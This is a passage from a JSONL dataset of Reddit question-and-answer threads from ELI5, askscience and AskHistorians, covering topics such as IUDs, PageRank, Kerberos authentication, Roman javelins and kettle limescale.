["http://machofistia.com/"]]}
{"q_id": "94dpcj", "title": "why would a woman who has her tubes tied get an iud?", "selftext": "I feel like I have a level of ignorance appropriate for a true ELI5 on this one! I am dating a woman who has told me that her tubes are tied. She recently had a bit of a scare with a mass on an ovary (which thankfully turned out ok). She mentioned that she is getting an IUD soon. Why would she be getting an IUD? We are both in our 40s.\n\n(Note: When she mentioned the IUD I was confused and didn't ask why. I will do that the next time I see her but in the meantime I was curious.)\n\nEDIT: Thanks folks, very enlightening!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94dpcj/eli5_why_would_a_woman_who_has_her_tubes_tied_get/", "answers": {"a_id": ["e3k7jn8", "e3k7p92", "e3k7ysu", "e3kav97", "e3kbtad", "e3kc1pg"], "score": [14, 30, 8, 5, 6, 7], "text": ["IUDs, just like birth control are used for other things besides birth control like hormonal balance.", "Hormonal control.  Also, tube tying does have a failure rate and if they did a scan they may have seen something that gave them concerns regarding the continued efficacy of that form of birth control (some tube tying versions use clips, for instance.)", "An IUD doesn't just keep you from getting pregnant, depending on the specific type used, as many of them provide a dose of hormones that actually change or prevent ovulation and change the balance of other hormones in the uterus.  Those in turn can have an impact on a person's cycle, can affect the odds of certain cancers, etc.  Your lady and her doctor would likely have a specific reason or two for using the IUD aside from preventing pregnancy.", "There's a few different reasons I can really think off.\n\n First, some women lose their periods when having an IUD, so she might have experience/be hoping for that with getting one. \n\n*Edit, I have been informed that IUDs does not contain oestrogen - so check with your local practitioner:::: But as you also mention you are in your forties, and if she has entered menopause, it could also be that she wants the local hormone treatment to keep her lady parts a 100% for one lucky mister. A woman who has gone through menopause might experience a difficult time getting wet, tearing easier and a loss of vaginal muscle strength, which the local hormones from the IUD helps prevent. ", "It can also be used for abnormal or dysfunctional uterine bleeding as the progesterone the device releases keeps the endometrial lining thin. So in that case, it may have nothing to do with preventing pregnancy but just to control bleeding.\n\nWe also use it in certain patients (typically who are poor surgical candidates or those not wanting surgery) for low grade endometrial adenocarcinoma as the hormones also help control the growth of that cancer.\n\nEdit: My comments are specifically for progesterone IUDs (such as mirena) not copper ones.", "IUDs can be plain (just for contraception) or hormone containing. The latter ones are fantastic contraception (more effective than tubal ligation which is astounding), but they are also used 1) to control bleeding in women with heavy periods even if contraception is not required 2) as endometrial protection when women want to use oestrogen HRT (unlikely if she's just in her 40s) and 3) to control endometrial overgrowth which can be pre-cancerous. \n\nIt's a good way of giving hormones where it's actually required ie in the uterus, without giving large doses to the whole of the rest of the body, which is generally a good thing with fewer side effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "5y873g", "title": "why isn't there an equivalent of \"the second\"/\"the third\", jr./sr., etc. for females? (or, if there is, what is it, and why is it less common?)", "selftext": "Edit: Oh man, it seems so obvious now, haha. (Of course, historically, women would have taken the name of their fathers and so this issue wouldn't have arisen very often.) Thanks anyways, guys.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5y873g/eli5_why_isnt_there_an_equivalent_of_the/", "answers": {"a_id": ["denvne4", "denvs83", "denwzcb"], "score": [9, 22, 5], "text": ["It's much more likely that females will change their name upon marriage, thereby ceasing to carry on the family name.  Men typically keep their name after marriage so the line of names remains unbroken.  ", "A woman would have historically taken her father's last name and then her husband's last name, so she wouldn't have had the same first and last name as her mother.\n\nMen usually kept their last names so there were more duplicates that needed clarification.\n\nIt does also seem far less common for mothers and daughters to share a first name, but I can't really comment on why.\n\n", "To be a \"Second\", \"Third\", \"Fourth\", etc you have to have the same First, Middle, and Last name of your parent and their parents/grandparents/great grandparents etc. Women change their names upon marriage so they do not meet the requirement of sharing the same last name. \n\nBut it is common for First and Middle names to be passed down through generations. They just are not perfect matches so do not get the suffix. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4adch4", "title": "What is the oldest battlefield that has been definitively identified?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4adch4/what_is_the_oldest_battlefield_that_has_been/", "answers": {"a_id": ["d0zdyf2"], "score": [2], "text": ["This submission has been removed because it violates the [rule on poll-type questions](_URL_0_). These poll-type questions do not lend themselves to answers with a firm foundation in sources and research, and the resulting threads usually turn into monsters with enormous speculation and little focussed discussion. \u201cMost\u201d, \u201cleast\u201d, \"best\" and \"worst\" questions usually lead to vague, subjective, and speculative answers. \n\nFor questions of these types, we ask that you redirect them to more appropriate subreddits, such as /r/history or /r/askhistory.\n\nThat being said, a question about the methodology of ancient archaeology with regards to battlefields would be a very similar question which avoids the poll aspect present here."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22poll.22-type_questions"]]}
{"q_id": "1127sc", "title": "I read somewhere that \nscientist are working on \nmicroorganisms that were \nmodified to \"eat\" salt and \nthus possibly converting sea \nwater into drinkable fresh \nwater. Is that goal realistic at \nall? ", "selftext": "Unfortunately I can't find the source right now (I'll edit if I do) but it was some kind of pop science website so I was wondering if it is scientifically possible or if it was just journalistic sensationalism...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1127sc/i_read_somewhere_that_scientist_are_working_on/", "answers": {"a_id": ["c6ipp97", "c6iqgrg", "c6iqhnn", "c6iqimx", "c6iqjok", "c6iqzv5", "c6ir4vk"], "score": [12, 5, 3, 10, 2, 3, 2], "text": ["The biggest issue I see is that you now have two problems to deal with: the salt, and the microorganisms that are living in the water with the salt inside them.", "[You talking about this?](_URL_0_)", "No.  Salt won't chemically break down any more than it already is, and would set up a concentration gradient in microorganisms that would cause them to swell up and explode.  As soon as a microorganism died, the salt would dissolve back into the water.  However, there are microorganisms that can be used to remove both organic and inorganic pollutants from water, and this might be what you're thinking of.", "Chlorine can be made volatile, but sodium...not so much.\n\nSodium compounds often remain after an organism has been thoroughly burned (which is why it's possible to make lye from ashes).\n\nSo imagine our organism eats salt: then what? If it's eating sugar, or grease, or vinegar, the carbon can be volatilized as carbon dioxide, and the hydrogen returns to water. If it's eating protein, the nitrogen can be given off as ammonia or as elemental nitrogen, and it will waft away. I'm not seeing what an organism would do with salt over the course of its life, that would remove it from solution in any permanent way.\n\nAlso, there's the fact that decomposing sugar releases energy, but sequestering salt takes energy. There's a certain fundamental enthalpy gain when salt dissolves in water, and energy must be re-invested to un-do that process. Unless the microbe gains immunity from predation or some other selected-for trait in the process, I imagine it will soon be out-competed by similar microbes that don't sequester salt.", "Even if you could completely desalinate water using microorganisms, you'd then have to filter the microorganisms from the water.", "If an organism eats salt, what does it excrete? Would you want whatever it is in the water?", "Why bother? Can't we just evaporate the water via a distilation type machine?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.newscientist.com/article/dn17667-bug-power-makes-salt-water-sweet.html"], [], [], [], [], []]}
{"q_id": "1s8m8v", "title": "why is the 'full stop' named 'period' in american english?", "selftext": "While 'full stop' makes sense, as you 'fully stop' the oral fluency, breathe through and start the next sentence, 'period' however suggests a span of time, which would make sense if applied on the whole sentence but not on the point the sentence ends. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1s8m8v/eli5why_is_the_full_stop_named_period_in_american/", "answers": {"a_id": ["cdv0khi", "cdv1ci0"], "score": [26, 5], "text": ["Aristophanes, a Greek scholar and grammarian from about 200 BCE, developed a system of punctuation for Greek writing designed to reflect pauses of speech between sentences and clauses.  One of the marks he used was to represent a long pause, or a *periodos*, and was put between sentences.  He also introduced marks for short passages (or *komma*) and intermediary passages (*colon*), which is the basis for the name and usage of the comma and (semi-)colon as well.\n\n[source](_URL_0_)", "It's just another example of a word that WAS used in England, but fell out of favor in one place and stayed on in another as the language was left to evolve in separate ways in two different places. It doesn't make any less sense than \"full stop,\" which always sounded to me like \"alright, time to close the book and finish reading, we've fully stopped!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Aristophanes_of_Byzantium"], []]}
{"q_id": "ifza6", "title": "Why is the atmosphere so visible in this photo from the ISS?", "selftext": "[Photo](_URL_1_)\n\nSee the yellow glow? What/why is that? I honestly have no idea.\nSee this picture in r/earthporn [here.](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ifza6/why_is_the_atmosphere_so_visible_in_this_photo/", "answers": {"a_id": ["c23g46v", "c23g83w"], "score": [7, 22], "text": ["It could be the yellow light from the cities being scattered in the atmosphere, and then captured by the camera with a slow long exposure shot.", "I found [a Bad Astronomy post on this image](_URL_1_) which states that it's [airglow](_URL_0_), as one poster back in r/earthporn speculated."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/EarthPorn/comments/ifvgp/the_nile_river_delta_at_night_seen_from_the_iss/", "http://i.imgur.com/LjNti.jpg"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Airglow", "http://blogs.discovermagazine.com/badastronomy/2010/11/08/turns-out-it-is-a-river-in-egypt/"]]}
{"q_id": "52jakl", "title": "How did we determine the shape of electron orbitals?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/52jakl/how_did_we_determine_the_shape_of_electron/", "answers": {"a_id": ["d7ksl18", "d7ku4tz", "d7kwhzf", "d7l84gg"], "score": [43, 4, 19, 11], "text": ["The \"shapes\" you are referring to are probably the probability densities as a function of spatial coordinates. It's a postulate of quantum mechanics that the state of a particle is represented by a wavefunction, and that the modulus squared of the wavefunction is the probability density.\n\nThe wavefunctions for electrons in an atom come from solving the time-independent Schrodinger equation. For an electron in a Coulomb potential (the hydrogen atom).", "In recent times it also became possible to image the orbitals indirectly with [Photoemission spectroscopy] (_URL_0_) where a metal surface is bombarded with photons and the emitted electrons can then be studied to reconstruct the atomic orbitals.\n\nSee:  \n_URL_1_", "It comes from the standing wave solutions to the Schroedinger wave equation in 3D with a coulomb potential.\n\nIf you have a system described by a 1D wave, like a violin string, then the standing waves are [sine functions](_URL_1_). These solutions have an integer number of nodes where the function is always zero. If you have a 2D wave with rectangular symmetry, the solutions are a simply a product of sine function in x and y, like [this](_URL_3_). In a 3D rectangular volume, you would get a product of sin functions in x, y, and z. The Schroedinger wave equation has the solutions when you trap a particle in an ideal box, where the potential goes to infinity outside the box. In higher dimensions, the nodes become lines (2D) or planes (3D). \n\nNow, when the box becomes round, the solutions get more complicated to write down than a sine function. For a 2D box that is circular, it makes sense to write the solutions in circular coordinates (i.e. r, theta instead of x,y). The solutions are then Bessel functions of r and sine functions of theta. You can see some examples [here](_URL_0_). Although the functions are more complex, you still see an integer number of nodes. In r the nodes are ring shaped, while in theta the nodes form a line across the circle.\n\nFor an atom, the potential isn't a spherical box, but a coulomb potential (i.e. -A/r). So instead of having a well defined edge, the solutions decay to zero at larger distances. The functions are even more complicated now, but the solutions still have an integer number of nodes in them as you can see in [this representation](_URL_2_).\n", "I'll let you in on a little secret: we don't know the shape of the electron orbitals beyond hydrogen. Not exactly, anyway.\n\nQuantum Mechanics is hard. I don't mean in the sense that it's difficult to understand, which it is, but it's difficult in a mathematical sense, too. The only system for which we can solve the Schr\u00f6dinger equation (which governs all of QM) exactly is the Hydrogen atom.\n\nIn the case of H, we can solve for steady-state solutions to the Schr\u00f6dinger equation, this means we're looking for states in which the atom is static and the orbital doesn't change over time. When we do this, we find [these](_URL_0_).\n\nFor a hydrogen atom, these solutions are exact^*. But once we introduce multiple electrons, the orbitals start interacting with one another and our simple model becomes a first order approximation. But it turns out that these orbitals we've found make an excellent basis to describe the behavior of the electrons in other atoms. They just won't be \"pure\" anymore, and all kinds of mixing and distortion happens.\n\nEver hear of hybridization? That's exactly what's happening. Two different orbitals mix, and the electrons end up having some properties of both. Of course, this usually isn't so dramatic for isolated atoms, only once we consider molecules or solids. \n\nBut I digress, you asked how we know the shape. Well, there's a whole area of study dedicated to determining the energy levels and orbital shapes of atoms (and molecules and solids) to an ever greater accuracy. We've gotten very good at it, and we can determine them to arbitrary precision, but never 100% exact. But good enough. So I lied a little :p\n\nI'll just namedrop a few key words here so you have a starting point to google/wiki if you're interested, but going over each of these could probably make me hit the character limit.\n\n* Ab initio\n* Slater determinants\n* Hartree Fock\n* Coupled Cluster\n* Density Functional Theory\n* Density Matrix Renormalization Group\n\n^(*Actually, these solutions aren't completely exact because they don't include relativistic corrections. However, if we solve the Dirac equation instead of the Schr\u00f6dinger equation, the solutions are exact... If we ignore QED corrections... It's a deep rabbit hole. But at the level of vanilla QM, it's exact.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Angle-resolved_photoemission_spectroscopy", "http://www.nature.com/ncomms/2015/151005/ncomms9287/full/ncomms9287.html"], ["https://en.wikipedia.org/wiki/Vibrations_of_a_circular_membrane#Animations_of_several_vibration_modes", "https://upload.wikimedia.org/wikipedia/commons/c/c5/Harmonic_partials_on_strings.svg", "https://upload.wikimedia.org/wikipedia/commons/c/cf/HAtomOrbitals.png", "http://www2.mae.ufl.edu/~uhk/mem2.jpg"], ["https://upload.wikimedia.org/wikipedia/commons/e/e7/Hydrogen_Density_Plots.png"]]}
{"q_id": "4kusnv", "title": "i have a fundamental understanding of what a mathematical algorithm is, but i wonder: can anyone can explain how google's pagerank algorithm works?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4kusnv/eli5i_have_a_fundamental_understanding_of_what_a/", "answers": {"a_id": ["d3hxdru", "d3hxl22", "d3hxuvw", "d3hy15f", "d3i2gr4", "d3i37w4"], "score": [4, 30, 36, 2, 9, 3], "text": ["Netflix has a short movie called algorithms that provides a good explanation using a soccer team as an example. If you've got Netflix, check that out. Pretty informative movie about all kinds of algorithms in general. Worth a watch. ", "It's not very ELI5, but here's a fascinating article about it, [The $25,000,000,000 Eigenvector: The Linear Algebra Behind Google](_URL_0_). \n\nAn algorithm is essentially a list of steps to be followed, and the rough outline of Google's algorithm is as follows:\n\n1. Download the internet. Yes, all of it.\n\n2. Convert it into easily searchable form (eg, by assigning keywords to pages)\n\n3. Rank individual pages.\n\nThe 3rd part is what google was the first to do \"right\" - ensuring you not only get the results corresponding to your search query, but also that you get the most relevant results first.", "Before PageRank, search engines worked in silly ways like frequency of key words used. It made web browsing in the 90s pretty awful. \n\nA couple of bright guys came along and noticed that it might be useful to say that some sites are more important than others, and if those important sites link to you, you might be somewhat important too. If a page has a high enough ranking, and it links to you, it shared that ranking to some degree.\n\nBonus trivia: The PageRank patent is actually owned by Stanford, not Google. And it's named after Larry Page, not just because it ranks pages.", "Back in the day search engines ranked pages based on how closely the content matched the search terms. This resulted in people loading up their pages with popular search terms to game the system. Google changed this by factoring in how many other pages linked to the page. So if your page describing birds is linked to by lots of other bird pages then it shows up higher on the list than other bird pages. The system has gotten more and more complicated over the years, and it's still possible to game the system, but in general the results are significantly more accurate than the old way. ", "Google's search algorithm is much more complex than that, and it uses more metrics for ranking websites than just PageRank, but the PageRank algorithm is simple.\n\nPageRank is an algorithm for finding the stable distribution of a Markov chain. A Markov chain is a random process where the future states are independent of the past states - a good example would be the game Snakes and Ladders. Only the game is played on the websites on the Internet, and the player rolls dice whether he will click on a link, and if he will, on which link will he click. \n\nThe algorithm itself works by starting in a random place, and instead of rolling dice, it just floods everything with water, which follows the path of least resistance, just like a homogeneous mass of people would, and three options can happen. Sinks eating everything up, the water periodically moving in a circular direction, and the water settling.\n\nThe first one is the fluid ending up going down a sink. This is undesirable, and can be solved by not allowing sinks to exist by making them disperse the fluid to all other websites.\n\nAnother problem is the water forming an oscillating wave, such as page A always redirecting to page B, and page B always redirecting to page A. This can be prevented by adding a weaker link from everywhere to everywhere, which also solves the problem of disconnection.\n\nIf the water settles, the distribution of the levels is the stable distribution of the Markov chain, and the places with a higher water level are more popular, and get more benefits.\n", "The PageRank algorithm is based on [Markov chains](_URL_0_) (those things are sexy as hell.) In a nutshell, these are probability matrices (stochastic matrices) that depend on their inputs to determine what happens next. So if a page is \"more important\" and has a lot of things pointing to it, then it gets a higher value in the matrix.\n\nSo, the algorithm picks a webpage and begins crawling. Visiting links, and keeping track of how many links point to a visited site. Every once in a while it will randomly jump to a new website. This prevents it from getting stuck in a set of self-referential websites. Two websites that point to each other would cause the bot to infinitely traverse the links between them, giving them an artificially high rank.\n\nOnce it has a representation of these links (could use an incidence matrix to keep track of the edges/vertices of this graph, but that would be a YUUUGE sparse matrix, instead it uses the stochastic matrix we talked about to define the probability that a page will be linked to by another page) and then it determines the eigenvector of this matrix using various methods to give a number to the rank.\n\nThis behavior is why SEO relies so heavily on links to and from your site for search rankings.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.rose-hulman.edu/~bryan/googleFinalVersionFixed.pdf"], [], [], [], ["https://en.wikipedia.org/wiki/Markov_chain"]]}
{"q_id": "2papy3", "title": "how does kerberos encryption work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2papy3/eli5_how_does_kerberos_encryption_work/", "answers": {"a_id": ["cmux0ft"], "score": [3], "text": ["Let's clear something up first: encryption is something that is used to transform a message into something that isn't like the original message. It's like a crappy game of telephone, with the message coming out of the other end being the encrypted message and the crappy telephone wire being the encryption mechanism.\n\nKerberos does not do this. Kerberos is used to determine that you are who you say you are and can use services on computers in a network. This is known as *authentication.*\n\nThere are four players in this authentication game:\n\n1. The computer you're connecting from,\n2. The authenticating server that will verify you,\n3. The ticket granting server that will give you the ticket you'll need to access the service on the server that you want, and\n4. The service on the server that you're trying to access.\n\n(NOTE: The authentication and ticket granting servers are usually on the same machine, but I think Kerberos is designed such that these two servers can be on different machines.)\n\nAccess to resources by way of Kerberos are done with tickets. It's kind of, but not really, like what happens when you go to a will-call window for a concert or show. This is how that works:\n\n1. Computer to Authentication Server: I'd like to logon to other computers on this network. Here is my username and password. Can you give me what I need to do this?\n\n2. Authentication Server to Computer: Hang on, let me authenticate you.\n\n3. Authentication Server to Computer: Okay, you're all good. Here's your ticket granting ticket. You'll use this to log onto other computers. \n\n4. Computer to Ticket Granting Server: Awesome! I'd like to use the service on this computer. Can I get a ticket for this? Here's my TGT.\n\n5. Ticket Granting Server to Computer: Let's check your TGT.\n\n6. Ticket Granting Server to Computer: Awesome, looks good. Here's your ticket for this service on that computer. Have fun!\n\n7. Computer to application server: I *finally* got a ticket to use your service. Here it is. Can I use it?\n\n8. Application server to computer: Let me check it.\n\n9. Application server to computer: Sure! Welcome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13d9a3", "title": "How does fermentation increase vitamin content of food?", "selftext": "I'm trying to make dosas for the first time. I read that the fermentation of the batter helps increase the vitamin B and C content. But how does this happen?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13d9a3/how_does_fermentation_increase_vitamin_content_of/", "answers": {"a_id": ["c72xxrn"], "score": [3], "text": ["Oh! I can do this! I'm an undergrad chemical biologist (specialising in drug interactions with receptors and enzymes FWIW) but I'm just on the bus home so give me a while to look up the specifics for your question and ill get back to you shortly! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16wpl0", "title": "Did Roman legionaries use atlatls? The atlatl offers a tremendous advantage, so if not, why not?", "selftext": "Atlatls have been around since pre-historic Europe, and must have been known to the Romans. They provide a harder, faster, longer range cast. So why not use them?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16wpl0/did_roman_legionaries_use_atlatls_the_atlatl/", "answers": {"a_id": ["c802zfd", "c803byh", "c803ewd"], "score": [48, 101, 7], "text": ["Well Roman Legionaries actually did normally carry between one and two javelins called a Pilum. It's main purpose was basically to ruin enemy shields and disrupt the ranks.\n\nI've actually had the pleasure of using both of these weapons myself, and from my own personal experience I can say that the while the atlatl is an incredible weapon (fairly light, incredible range, and fairly deep penetration) it just does not fulfill what the pilum does. The atlatl had it's glory days before the advent of metal and heavy leather armors. I can tell you that a pilum just feels so much more deadly. It's got a far shorter range, but it penetrates a lot deeply. \n\nThe pilum did/do tend to bend after one or two using if the target is really thick, but that's their purpose. To make both themselves and the shield of the enemy useless to them. \n\nEDIT: Sorry it just occured to me after typing this out, are you refering to the whole device of the atlatl? As in the launching mechanism and darts, or just the actual launching device itself?\n\nYou can read up a little more on the Pilum here: _URL_0_ \n_URL_1_", "No, legionaries didn't use atlatls, and wouldn't use them if they had them, for a few reasons.  \n\nOne, because the assisted-spear-throwing technology of choice during the period was the [*amentum*](_URL_0_) (a leather strap attached to the spear).  Two, because standard Roman military doctrine was to throw [*pila*](_URL_1_) (short, heavy javelins) from short range just before engaging, and so speed of deployment was more important than the range or accuracy an atlatl provides.  Three, an atlatl needs two hands free, and Roman legionaries with their [large shields](_URL_2_) only had one free hand (unless they wanted to drop their shields - a *bad* idea when approaching enemy lines).  Four, because the Roman citizen legions specialized in hand-to-hand infantry combat, they used [auxiliaries](_URL_3_) from tribes whose military traditions specialized in other fields - from the Wiki, \"the standard trio of specialised auxilia were Balearic slingers, Cretan archers and Numidian light cavalry\" - and none of those specialists used atlatls.  I'm not familiar enough with atlatls to compare range and accuracy with slings or bows, but I would note that sling-stones and arrows are much smaller and lighter than spears, and the auxilia could thus carry much more ammunition.\n\nTo be quite honest, I'm not even certain that the Romans would have known about atlatls at all - in Europe, the atlatl seems to have been outcompeted by newer technologies (see reasons 1 and 4 above), and used - *if* spear-throwers of that type were used at all in the Roman period - by the sort of backwoods recluse tribes that the Romans would scorn to emulate.  But even *if* some Roman general had had the option to incorporate spear-throwers into Roman legionary doctrine, or recruit auxiliaries trained in that style, he'd probably reject the idea for the above reasons.\n\ntl;dr:  atlatls ain't all that.", "Spear-throwers of all types require a bit of extra room and range of motion in order to use to their full potential. That does not jive well with either the tight formations or the considerable armour (especially shields) of the mainline Roman infantry. An atlatl or similar weapon requires more space because it can only grip the spear at the base of the shaft; when throwing by hand, space can be saved by gripping the spear midway ([like so](_URL_0_)).\n\nIn exchange for losing the integrity of their formations and tiring themselves out,what would they gain? Not much. The main purpose of *pila*, the throwing spears used by the main Roman infantry (as opposed to, say, skirmishers and auxiliaries, whom I am not knowledgable enough about to comment on) was to get stuck in and therefore disable enemy shields before a charge. Range isn't too useful because \"just before a charge\" is already well within hand-throwing range; if anything, the higher trajectory of an atlatl-assisted throw might be less effective. The additional power offered by an atlatl does not really help either because all that is needed is a single, reasonably-accurate throw - the heft of the iron shaft of the pilum does the rest. [Look at this thing.](_URL_1_) If it hits someone, it's going to cause them problems, even without the extra momentum offered by a spear-thrower."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pilum", "http://ancienthistory.about.com/cs/weaponswarfare/g/pilum.-i4I.htm"], ["http://en.wikipedia.org/wiki/Amentum", "http://en.wikipedia.org/wiki/Pilum", "http://en.wikipedia.org/wiki/Scutum_%28shield%29", "http://en.wikipedia.org/wiki/Auxiliaries_%28Roman_military%29"], ["http://www.caerleon.net/history/army/legionary4c.jpg", "http://www.cashanwei.com/img/prod/xh2031.jpg"]]}
{"q_id": "36hycm", "title": "During the Holocaust, were there any accounts of Jews in Germany anticipating the end of days and the return of the Messiah?", "selftext": "Given the race-specific genocide, I would imagine some Jews relating it to the end of the world mentioned in the Torah.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36hycm/during_the_holocaust_were_there_any_accounts_of/", "answers": {"a_id": ["cre820e", "cre84oh", "cred2fk", "crewt7r", "crfmyg0"], "score": [74, 549, 24, 3, 4], "text": ["It seems that enough people have corrected OP on the \"return\" bit. It would be great to see an answer in the spirit of the question: were any Jews awaiting the imminent first appearance of the Messiah during what might have seemed the end of days?", "First, the Messiah is not described in the Torah as coming because of or after an apocalypse. That is New Testament thinking right there. Second, the Talmud states that the time before the messiah will be a difficult one to be sure, called \"the birth pangs of the Messiah.\" So the Holocaust could fit that bill.\n\nThe first thing that came to mind is a letter by the then chief rabbi of Israel, Rabbi Yitzchak Isaac Herzog, in response to a fellow rabbi, a certain R. Hizkiyahu Yosef Mishkovsky, who requested a day of mourning for the Holocaust in January of *1945*. The Holocaust had not yet ended.\n\nRabbi Herzog first discussed the perspective from Jewish law. And then he stated that one should hold off on any decisions regarding this, for who knows, this could be a sign for the advent of the Messiah.\n\nSee his Pesakim u-Ketavim: She\u2019elot u-Teshuvot beDinei Orah Hayyim, vol. 2 (Jerusalem: 1989), 438, no. 99\n\nSee also JJ Schacter, [\"HOLOCAUST COMMEMORATION AND TISH\u2019A BE-AV: THE DEBATE OVER \u201cYOM HA-SHO\u2019A\u201d\"](_URL_0_), where he discusses this letter. In footnote 22, he has an expansive footnote regarding this topic of rabbis and thinkers who saw the Holocaust as the event that precedes the Messiah's coming. There is a vast literature he cites there regarding this. I would quote it but it is 3 pages of citations. See page 24-27.", "As a related question, did WWII and the Holocaust lead to the rise of many new religions or religious offshoots? It seems like harrowing times might be a catalyst for such new religious branches. ", "Related question: Did the events of the holocaust and WWII increase piety amongst Jewish people or decrease it? Specifically those directly involved.", "As a Jew with grandparents who all lost most of their families in the Holocaust, the short answer is amongst the religious Jews, definitively yes. People fail to realize that by 1939 the overwhelming majority of Jews were no longer observant (sorry but don't have a source offhand), and did not legitimately believe in a Messiah in any more than a desperate \"atheist in a foxhole\" context. \n\nThe religious Jews, on the other hand, were convinced that the Nazis were the traditional (although not directly Biblically sourced) \"pangs of the Messiah\", and spoke of it constantly. One of the most famous songs to emerge from the Holocaust is a tune to [Ani Ma'amin](_URL_0_), the traditional Jewish declaration of faith in the Coming of Messiah, composed by cantor Azriel David Fastag as he was being transported to a concentration camp."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://traditionarchive.org/news/_pdfs/164-197%20Schacter.pdf"], [], [], ["http://en.wikipedia.org/wiki/Ani_Ma'amin#Culture"]]}
{"q_id": "5xirgx", "title": "When did writing on shirts become a thing?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5xirgx/when_did_writing_on_shirts_become_a_thing/", "answers": {"a_id": ["deip20i", "deiwefb"], "score": [145, 612], "text": ["Just to elaborate, do you mean like t-shirts with text or people signing shirts?", "The earliest shirt with text is probably the team uniforms worn in the 1870s. Here's an [example](_URL_2_) from an archive photo at the National Baseball Hall of Fame. \n\nOutside of sports, the first printed t-shirt was a costume in the Wizard of Oz (1939) with characters wearing a shirt that said \"oz\" [(link to a picture of the shirt)](_URL_1_). \n\nIn terms of everyday clothing, I took a look at some of the mail order catalogues in my collection. There weren't any shirts with writing in my 1936 Eaton's catalogue. There were a couple examples in the 1953 catalogue, for children: [a customizable pyjama set, and some roy rogers shirts](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://m.imgur.com/a/UVnb4", "http://www.melmarc.com/history-of-the-graphic-t-shirt/", "http://exhibits.baseballhalloffame.org/dressed_to_the_nines/jerseys.htm"]]}
{"q_id": "1hkeke", "title": "Looking for a specific source on WWII I remember reading, but don't know what or who it is?", "selftext": "I remember reading once about a British soldier, probably somewhere in Northern Africa, sitting in a tank. He was calling for help -- he didn't know what to do about the groups of Italian soldiers that were surrounding him with their hands raised.\n\nI remember reading it in a school textbook I had in 7th grade.\n\nI tried googleing it but I didn't find anything useful. Thanks.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hkeke/looking_for_a_specific_source_on_wwii_i_remember/", "answers": {"a_id": ["cav6n0i"], "score": [2], "text": ["I think I remember reading that too! Although might not have been the same book. Was it history of World War II series that was geared towards younger readers? \n\nCan't for the life of me remember what the series was called though, and Google is failing me too. There were a bunch of them though, and I read all of them multiple times though. Ugg, now this is going to bother me..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4069cz", "title": "How (where, when) exactly does limescale deposit in electric water kettles during boiling process?", "selftext": "As I understand, there is an equilibrium in the water: Ca^2^+ + 2HCO*_3_*^- \u21cb Ca^2^+ + CO*_3_*^2^\u2212 + CO*_2_* + H*_2_*O where balance moves right as CO*_2_* leaves the boiling water. \n\nDoes it happen everywhere in the water? How quickly does the CaCO*_3_* fall to the bottom? Why is there limescale on the walls (why doen't it fall to the bottom of the kettle)?\n\n(context: I want to make a tea boiler+infuser, where i could thown away any limescale each time alongside with the used tea leaves.)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4069cz/how_where_when_exactly_does_limescale_deposit_in/", "answers": {"a_id": ["cys1waw", "cys7213", "cysjglw"], "score": [4, 3, 2], "text": ["There are a few issues here and for any particular system you would likely need to model all of the appropriate variables associated with temperature and chemical distribution that result from the heat in and mass out.  The calcium carbonate would prefer to precipitate out where the concentration of the products is highest and the temperature is lowest.  However, it would also like to nucleate where the energy barrier for nucleation is lowest.  Most things like to nucleate heterogeneously on a surface or some pre-existing 'surface' like a particle of some impurity.  Forming a new particle lowers the energy of a supersaturated solution that is contributed from the bulk, but it also raises the energy a bit due to the new water-particle surface it creates.  By nucleating on something else, it can get more volume per increase in surface area if the energy of the precipitate-substrate is not too high.  This is why the calcium carbonate tends to build up on the walls. To make what you want, I imagine that you want to put in a surface that would be low surface energy for the calcium carbonate to form on (something with similar bonding characteristics and lattice parameter would be ideal), something that is locally cold compared to the rest of the solution (a 'cold finger', which just lowers the solubility locally), and something spatially placed where the concentration of the reaction products is high.  ", "In power boilers (boilers that boil water to generate steam), the scale deposits tend to build up in the hotter areas of the boiler.\n\nAny kind of scale will eventually build up, then slough off to the bottom of the kettle.  Buildup is mineral deposits on the metal.  Pockets can form underneath the buildup 